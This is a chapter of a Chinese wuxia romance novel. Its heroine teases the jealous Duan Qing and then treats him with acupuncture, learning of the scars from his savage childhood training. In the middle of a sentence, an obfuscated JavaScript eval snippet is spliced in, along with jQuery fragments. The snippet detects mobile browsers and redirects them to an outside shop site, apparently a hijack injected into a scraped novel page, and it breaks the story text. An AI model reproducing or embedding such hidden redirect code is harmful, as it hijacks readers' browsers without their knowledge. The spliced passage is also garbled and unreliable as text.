贺昭云匆忙追过去看时,树后已经空无一人。她将后院转了个遍,终于在马厩找到了段青。
以段青的耳力,早该听见动静了,但他没回头,只自顾自弯着腰铡草,左手送草,右手压刀,动作虽娴熟,却显得有些毛躁。第一刀太轻,没能斩断所有干草,第二刀又太重,铡刀在木槽底部磕出一道灰白色印子,仿佛和那捆干草有什么深仇大恨。
第三刀落下去时,刀刃偏了半寸,段青的左手拇指还按在那一捆干草上,被刀背擦出一道不深不浅的血口。
段青微微一怔,低头瞧了瞧那道口子,用衣角蹭干血迹,握紧铡刀,继续先前的活计。一刀比一刀落得重,一刀比一刀落得急,那一捆干草顷刻间被切得七零八落,不像是要喂马,倒像是借此宣泄某种情绪。
贺昭云终于看不下去,叹了口气,上前拉住段青,从他手里夺去了铡刀。
“行了……这几捆干草怎么得罪你了?就算要喂马,也用不着切得这么碎吧?”
段青垂着眼不看她,也不做声,但贺昭云拉他到一边处理伤口,他也没有挣扎。
贺昭云试探着问:“方才,你是不是听见什么了?”
段青蹙了蹙眉,低声道:“你们……当真定过亲?”
话一出口,段青就后悔了,恨不得即刻抽自己一巴掌。
那是她的私事,他不该过问,也没资格过问。贺昭云将来嫁与谁,不嫁与谁,都和他毫不相干。
他更不该偷听她和陆歆的谈话。论起亲疏远近,人家是青梅竹马,门当户对,他段青只是个外人,即便路过听见动静,也该自觉回避才是。可不知怎的,他鬼使神差停住了脚,听见了那句让他心烦意乱的话。
段青忐忑地望着贺昭云。他以为贺昭云会恼他偷听,但……她唇边竟然噙着一抹浅淡笑意。
“我与人定过亲——”
段青呼吸一滞,却见贺昭云眨了眨无辜的杏眼,慢吞吞接着道:“或是没定过亲,你很在意么?”
段青咬着牙,将几乎涌到舌尖的答案硬咽了回去,艰难地道:“没有。”
贺昭云哦了一声,雪亮的眼仍然盯着他瞧。段青莫名有些脸热,不自然地补上一句:“那是你的事,与我无关。”
贺昭云险些憋不住笑。
结儿女亲家,只是陆伯父随口玩笑,父亲和母亲从来就没有应允过。况且,她和陆歆都不是那种会被父母长辈一句话轻易左右的乖顺性子。
但段青这副口是心非的样子实在是有趣。贺昭云索性也不解释,她倒要看看,他能忍多久。
当日晚上,众人围坐在八仙桌旁一同用饭。陆歆记得贺昭云喜好酸甜口味,将一碟糖醋藕片推得离她近了些,贺昭云尝了尝,的确清新爽口。她故意夹了一筷子给陆歆,果然看见对面的段青脸色冷了两分。
第二日早上,她瞥见段青在井边打水,立刻叫住路过的陆歆,颇为夸张地上前帮他整了整衣襟。
段青僵在原地,阴恻恻的目光往陆歆身上瞟了又瞟,片刻后扭头回了西厢房,连打好的半桶水都忘在了井边。
陆歆无奈:“下回拿我当幌子之前,能不能打声招呼?他要是哪天来找我拼命,我也好有个准备。”
“对不住,”贺昭云不好意思地笑了笑,“是我欠考虑了,你别生气啊。”
陆歆沉默了一瞬,面露歉意,吞吞吐吐道:“其实,我也有对不住你的地方……昨晚,我瞒着你,去找过段青。”
贺昭云愕然:“你找他?你们说什么了?”
“我……我想劝他离开。”陆歆道,“后面的路,我可以派两个信得过的家仆随你们同行。段青曾经是修罗堂的人,我不放心……”
贺昭云下意识反驳:“他不会害我。”
“我不是那个意思,”陆歆斟酌着解释,“我是担心,他从前结下的那些恩怨,日后可能会牵连到你,就像这一回……”
后面的话,陆歆没说完整,但贺昭云听懂了。
就像这一回,如果不是段青和十四娘有过节,他们也不必大费周章,额外耽搁这么多时日。
虽是实情,但贺昭云总觉得,账不能这么算。若是没有段青,她也许早就死在半路上,或被公孙晏那伙人掳去,哪还有命来长乐县找陆歆。
但段青恐怕不会这么想。他都能背着她独自去找十四娘,难说会不会真把陆歆的话听进去。
贺昭云问:“你说这些之后,他是什么反应?”
“他沉默了一会儿,最后说……”陆歆顿了顿,神情复杂地转述,“我跟他说这些没用,走还是留,他听你的。”
贺昭云微微一怔,既而松了口气。
之后两天,她没再逗弄段青,因为眼下还有更紧要的事情。秦钰和白秋石惦记着要去鬼市,最多在这里停留四五天,留给她学针的时间已经不多了。
所幸,功夫不负有心人。第二日晚,她终于学成了那套针法,准备在段青身上第一次试针。
段青依旧不大信任秦钰的针法,但如今施针的人是贺昭云,他稍作犹豫,便点了头。贺昭云事先预备好了一大篇话劝段青,竟一句都没派上用场。
为确保万无一失,秦钰也留在房中。段青看着屏风另一头的模糊人影,微微蹙眉:“他一定要在吗?”
“秦道长在这里盯着,更稳妥些。”贺昭云摆开一排银针,随口玩笑,“若是没有名医坐镇,你就不怕我一针下去,把你扎成个残废?”
“不怕。”
他答得笃定,贺昭云反而有些意外:“为什么?”
“如果你想害我,第一次撞见我毒发时,就该动手了。”
贺昭云怔了怔。那个时候,她只是觉得,有段青在,自己更安全些,况且,他喂过她的那个药丸不知是不是毒,她不敢赌。
她给出去的温暖并不那么纯粹,可他却视若珍宝,并报以毫无保留的信任。
段青似是自觉失言,移开目光,低声问:“我……我要怎么做?”
贺昭云指了指床榻:“上衣脱了,后背露出来。”
段青背过身去,沉默着松开衣带,伏在软枕上趴好,每一个动作都透着僵硬。
虽解了衣带,墨色衣衫还松松垮垮搭在段青肩头。贺昭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17914636|204293||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
云轻轻拉下衣衫,立时被眼前景象惊得倒吸一口凉气。
段青身上,自肩膀到脊背,再到腰际,几乎找不到一寸完好的肌肤,只遍布着横七竖八的伤疤,长的短的,深的浅的。有些边缘齐整,像是利器所致,有些形状狰狞,边缘凹凸不平,似乎曾被什么东西钩出了皮肉,或是猛兽爪牙,或是某种带倒刺的兵刃。
贺昭云猜到,段青多多少少会落下些旧伤,却不曾想如此惨烈。
许是她愣怔了太久,段青不明就里地回过头,见她眼眶泛红,一时间手足无措:“怎,怎么了?是不是我那些……吓着你了?”
贺昭云只觉得喉咙发紧,半天才憋出来一句:“当时……很疼吧?”
段青茫然眨了眨眼,摇头道:“不记得了。”
贺昭云难以置信地瞪大眼睛,一时分不清他是在逞强嘴硬,还是下意识封存了那段记忆。
段青一脸认真地解释:“相隔太久,真记不清了。背上那些 ……大多是初入修罗堂,还有刚刚出师那两年留下的,后来,就不会经常受伤了。”
“初入修罗堂,不是应该先习练武艺吗,为何会受这么重的伤?”贺昭云脱口而出,又想起秦钰还在屏风后,补充道,“如果你不想说,就不必说。”
段青沉默了一下,恍然忆起那段遥远且模糊的过往。
“那时候,堂主把我们关进了一个……一片野林子,四面被围起来,像是个废弃的皇家猎场。”
他和另外二十几个年纪相仿的孩子,被一同推进去。
而后,饥肠辘辘的狼和豹子也被驱赶进去。
在那样一个极端环境下,不管是两条腿的,还是四条腿的,都拼了命地想要活下去。十二岁的段青第一次知道,饿绿了眼的狼连篝火都不怕,而饿红了眼的人,敢从狼嘴下抢生肉吃。
他亲眼看见另外两个孩子,白日里还联手对付猛兽,到了天黑之后,为了一口水打得你死我活,双双倒在血泊中,最后便宜了一头路过的花豹。
“七天之后,还活着的人,才被允许跟着副堂主学拳脚和刀剑。”
贺昭云问:“和你一起的那些孩子……最后有几人活下来?”
“就我一个。”
段青语气平淡,贺昭云却瞠目结舌,好一阵子说不出话来。
她几乎不敢相信,在河清海晏,时和岁丰的大雍,竟然还存在过那样一个人间炼狱。
她又想起白秋石的话。从那种地方走出来的人,不会轻易卸下戒备,可段青……段青还是将最薄弱、最易受到伤害的背后,连同足以致命的各处穴位,一并袒露给她了。
贺昭云心里说不出是什么滋味,只觉得捻在手里的小小一根银针,忽然间重若千钧。她勉强平复了心绪,轻声问:“我开始了?”
段青嗯了一声。
贺昭云定了定神,默念着秦钰讲过的要诀,试探着伸出手去。第一针大椎,颈骨下方,诸阳之会,她的掌心缓缓覆上段青后颈下方那块凸起的骨节,拇指指腹轻轻抵住凹陷处。
段青浑身一僵,像是本能地想要躲闪,又硬生生忍住了。